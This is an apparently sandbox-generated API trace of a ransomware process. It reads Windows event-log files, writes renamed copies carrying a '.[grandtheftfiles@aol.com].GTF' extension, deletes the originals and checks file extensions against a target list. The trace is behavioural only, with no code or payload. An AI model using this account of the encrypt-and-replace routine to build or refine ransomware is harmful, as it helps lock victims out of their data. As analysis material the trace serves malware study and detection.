	[0081.860] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.861] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0081.861] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.861] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.861] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0081.862] GetLastError () returned 0x0
	[0081.862] ReadFile (in: hFile=0x2d0, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.876] WriteFile (in: hFile=0x36c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.878] ReadFile (in: hFile=0x2d0, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.878] WriteFile (in: hFile=0x36c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x130, lpOverlapped=0x0) returned 1
	[0081.878] SetEndOfFile (hFile=0x36c) returned 1
	[0081.878] CloseHandle (hObject=0x36c) returned 1
	[0081.881] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.881] SetEndOfFile (hFile=0x2d0) returned 1
	[0081.883] CloseHandle (hObject=0x2d0) returned 1
	[0081.883] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.883] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1
	[0081.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.883] lstrlenW (lpString=".doc") returned 4
	[0081.883] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.883] lstrlenW (lpString=".docx") returned 5
	[0081.883] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.883] lstrlenW (lpString=".pdf") returned 4
	[0081.883] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.883] lstrlenW (lpString=".xls") returned 4
	[0081.883] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.883] lstrlenW (lpString=".xlsx") returned 5
	[0081.883] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.884] lstrlenW (lpString=".ppt") returned 4
	[0081.884] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.884] lstrlenW (lpString=".zip") returned 4
	[0081.884] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.884] lstrlenW (lpString=".rar") returned 4
	[0081.884] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.884] lstrlenW (lpString=".bz2") returned 4
	[0081.884] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.884] lstrlenW (lpString=".7z") returned 3
	[0081.884] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.884] lstrlenW (lpString=".dbf") returned 4
	[0081.884] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.884] lstrlenW (lpString=".1cd") returned 4
	[0081.884] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.884] lstrlenW (lpString=".jpg") returned 4
	[0081.884] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.884] lstrlenW (lpString=".doc") returned 4
	[0081.884] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.884] lstrlenW (lpString=".docx") returned 5
	[0081.884] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.884] lstrlenW (lpString=".pdf") returned 4
	[0081.884] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.884] lstrlenW (lpString=".xls") returned 4
	[0081.884] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.884] lstrlenW (lpString=".xlsx") returned 5
	[0081.884] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.884] lstrlenW (lpString=".ppt") returned 4
	[0081.884] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.884] lstrlenW (lpString=".zip") returned 4
	[0081.885] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.885] lstrlenW (lpString=".rar") returned 4
	[0081.885] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.885] lstrlenW (lpString=".bz2") returned 4
	[0081.885] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.885] lstrlenW (lpString=".7z") returned 3
	[0081.885] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.885] lstrlenW (lpString=".dbf") returned 4
	[0081.885] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.885] lstrlenW (lpString=".1cd") returned 4
	[0081.885] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0081.885] lstrlenW (lpString=".jpg") returned 4
	[0081.885] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.885] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.885] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41
	[0081.885] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0081.896] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=1052672) returned 1
	[0081.896] CloseHandle (hObject=0x33c) returned 1
	[0081.896] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20
	[0081.896] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.896] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0081.897] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.897] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.897] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0081.897] GetLastError () returned 0x0
	[0081.897] ReadFile (in: hFile=0x33c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0082.293] WriteFile (in: hFile=0x36c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0082.311] ReadFile (in: hFile=0x33c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0082.320] WriteFile (in: hFile=0x36c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0082.323] ReadFile (in: hFile=0x33c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.323] WriteFile (in: hFile=0x36c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x126, lpOverlapped=0x0) returned 1
	[0082.323] SetEndOfFile (hFile=0x36c) returned 1
	[0082.848] CloseHandle (hObject=0x36c) returned 1
	[0082.897] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.897] SetEndOfFile (hFile=0x33c) returned 1
	[0082.898] CloseHandle (hObject=0x33c) returned 1
	[0082.898] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0082.898] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1
	[0083.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.027] lstrlenW (lpString=".doc") returned 4
	[0083.027] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.027] lstrlenW (lpString=".docx") returned 5
	[0083.027] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.027] lstrlenW (lpString=".pdf") returned 4
	[0083.027] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.027] lstrlenW (lpString=".xls") returned 4
	[0083.027] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.027] lstrlenW (lpString=".xlsx") returned 5
	[0083.027] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.027] lstrlenW (lpString=".ppt") returned 4
	[0083.027] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.027] lstrlenW (lpString=".zip") returned 4
	[0083.027] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.027] lstrlenW (lpString=".rar") returned 4
	[0083.027] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.027] lstrlenW (lpString=".bz2") returned 4
	[0083.027] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.027] lstrlenW (lpString=".7z") returned 3
	[0083.027] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.027] lstrlenW (lpString=".dbf") returned 4
	[0083.027] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.027] lstrlenW (lpString=".1cd") returned 4
	[0083.027] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.027] lstrlenW (lpString=".jpg") returned 4
	[0083.027] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.028] lstrlenW (lpString=".doc") returned 4
	[0083.028] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.028] lstrlenW (lpString=".docx") returned 5
	[0083.028] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.028] lstrlenW (lpString=".pdf") returned 4
	[0083.028] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.028] lstrlenW (lpString=".xls") returned 4
	[0083.028] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.028] lstrlenW (lpString=".xlsx") returned 5
	[0083.028] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.028] lstrlenW (lpString=".ppt") returned 4
	[0083.028] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.028] lstrlenW (lpString=".zip") returned 4
	[0083.028] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.028] lstrlenW (lpString=".rar") returned 4
	[0083.028] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.028] lstrlenW (lpString=".bz2") returned 4
	[0083.028] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.028] lstrlenW (lpString=".7z") returned 3
	[0083.028] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.028] lstrlenW (lpString=".dbf") returned 4
	[0083.028] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.028] lstrlenW (lpString=".1cd") returned 4
	[0083.028] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.028] lstrlenW (lpString=".jpg") returned 4
	[0083.028] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.028] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0083.028] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42
	[0083.029] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.197] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0083.226] CloseHandle (hObject=0x378) returned 1
	[0083.250] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20
	[0083.251] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.655] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.655] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.655] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.655] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.657] GetLastError () returned 0x0
	[0083.657] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.660] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.662] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.662] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x128, lpOverlapped=0x0) returned 1
	[0083.662] SetEndOfFile (hFile=0x378) returned 1
	[0083.662] CloseHandle (hObject=0x378) returned 1
	[0083.664] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.664] SetEndOfFile (hFile=0x31c) returned 1
	[0083.665] CloseHandle (hObject=0x31c) returned 1
	[0083.665] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0083.666] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1
	[0083.666] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.666] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.666] lstrlenW (lpString=".doc") returned 4
	[0083.666] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.666] lstrlenW (lpString=".docx") returned 5
	[0083.666] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.666] lstrlenW (lpString=".pdf") returned 4
	[0083.666] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.666] lstrlenW (lpString=".xls") returned 4
	[0083.666] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.666] lstrlenW (lpString=".xlsx") returned 5
	[0083.666] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.666] lstrlenW (lpString=".ppt") returned 4
	[0083.666] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.666] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.666] lstrlenW (lpString=".zip") returned 4
	[0083.666] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.666] lstrlenW (lpString=".rar") returned 4
	[0083.666] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.666] lstrlenW (lpString=".bz2") returned 4
	[0083.666] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.666] lstrlenW (lpString=".7z") returned 3
	[0083.667] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.667] lstrlenW (lpString=".dbf") returned 4
	[0083.667] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.667] lstrlenW (lpString=".1cd") returned 4
	[0083.667] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.667] lstrlenW (lpString=".jpg") returned 4
	[0083.667] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.667] lstrlenW (lpString=".doc") returned 4
	[0083.667] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.667] lstrlenW (lpString=".docx") returned 5
	[0083.667] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.667] lstrlenW (lpString=".pdf") returned 4
	[0083.667] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.667] lstrlenW (lpString=".xls") returned 4
	[0083.667] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.667] lstrlenW (lpString=".xlsx") returned 5
	[0083.667] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.667] lstrlenW (lpString=".ppt") returned 4
	[0083.667] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.667] lstrlenW (lpString=".zip") returned 4
	[0083.667] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.667] lstrlenW (lpString=".rar") returned 4
	[0083.667] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.667] lstrlenW (lpString=".bz2") returned 4
	[0083.667] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.667] lstrlenW (lpString=".7z") returned 3
	[0083.667] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.667] lstrlenW (lpString=".dbf") returned 4
	[0083.667] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.668] lstrlenW (lpString=".1cd") returned 4
	[0083.668] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.668] lstrlenW (lpString=".jpg") returned 4
	[0083.668] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.668] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0083.668] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57
	[0083.668] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.669] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0083.669] CloseHandle (hObject=0x31c) returned 1
	[0083.669] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20
	[0083.669] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.669] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.669] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
